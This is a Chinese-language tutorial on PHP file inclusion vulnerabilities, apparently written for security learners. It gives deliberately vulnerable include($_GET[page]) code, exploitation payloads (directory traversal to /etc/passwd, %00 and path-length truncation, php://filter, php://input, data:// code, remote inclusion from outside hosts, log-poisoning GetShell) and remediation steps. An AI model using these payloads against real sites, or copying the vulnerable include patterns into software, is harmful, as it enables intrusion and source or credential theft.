什么是文件包含
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件。而无需再次编写,这种 文件调用的过程一般被称为文件包含。
例如:include “conn.php”
PHP中常见包含文件函数
- include()
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。 - include_once()
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次 - require()
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。 - require_once()
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
区别
- inlude :包含的文件不存在,程序会继续执行
- require:包含文件不存在,程序停止执行
(如果出现语法错误,两个不会继续执行,如果是找不到这个文件,include继续执行,require,停止执行)
文件包含漏洞原理
文件包含漏洞产生的原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过。
常见漏洞代码
if(isset($_GET[page])){
include $_GET[page];
}else{
include "home.php";
}
文件包含漏洞危害
- 配合文件上传漏洞GetShell
- 可以执行任意脚本代码
- 网站源码文件以及配置文件泄露
- 远程包含GetShell
- 控制整个网站甚至是服务器
文件包含漏洞的分类
- 当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
- 本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配置选项allow_url_fopen和allow_url_include为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。
本地文件包含利用
- 上传图片马,包含图片马GetShell
- 读取网站源码以及配置文件
- 包含日志文件GetShell
包含上传图片_001
<?php
if(isset($_GET[page])){
include($_GET[page]);
}else{
include 'show.php';
}
?>
包含上传图片_002
<?php
if(isset($_GET[page])){
include('./action/' . $_GET[page]);
}else{
include ./action/show.php';
}
?>
包含上传图片_003
<?php
if(isset($_GET[page])){
include('./action/'. $_GET[page] . '.php');
}else{
include './action/show.php';
}
?>
%00截断
- /etc/passwd%00
- 需要 magic_quotes_gpc=off,PHP小于5.3.4有效
路径长度截断
- /etc/passwd././././././././././././.[…]/././././././././.
- php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256
读服务器本地文件
- ?page=…/…/…/…/…/…/…/etc/passwd
读网站源码文件
index.php?page=php://filter/read=convert.base64-encode/resource=index.php
伪协议:
- 直接包含木马文件,可以是图片,txt,压缩包…
- ?page=php://input 接收post请求
需要开启 仅需要开启 allow_url_include - ?page=http://172.18.11.66/0831/1.txt
需要开启 allow_url_fopen,allow_url_include (远程包含) - ?page=php://filter/read=convert.base64-
encode/resource=main.php (读取文件源码) - ?page=data://text/plain,<?php phpinfo();?>
需要开启allow_url_fopen,allow_url_include
包含日志文件GetShell
- 首先 找到日志文件存放位置
- 让日志文件插入PHP代码
- 包含日志文件
远程文件包含利用
包含远程txt文件(php.ini的配置选项allow_url_fopen和allow_url_include为on),远程服务器上存放一个txt文件,或
者不被解析的php文件。(因为包含的时候返回的是php源代码,所以不能被解析)
index.php?page=http://www.xxx.com/1.txt
漏洞挖掘
- 没有通用的挖掘办法
- 特定的CMS,特定的版本可能存在漏洞(include,require)
- Web漏洞扫描器扫描,常见的web漏洞扫描器都支持可以检测。
修复办法
- PHP中使用open_basedir配置限制访问在指定的区域
- 过滤.(点)/(反斜杠)\(反 斜杠)
- 禁止服务器远程文件包含
(allow_url_fopen,allow_url_include,off)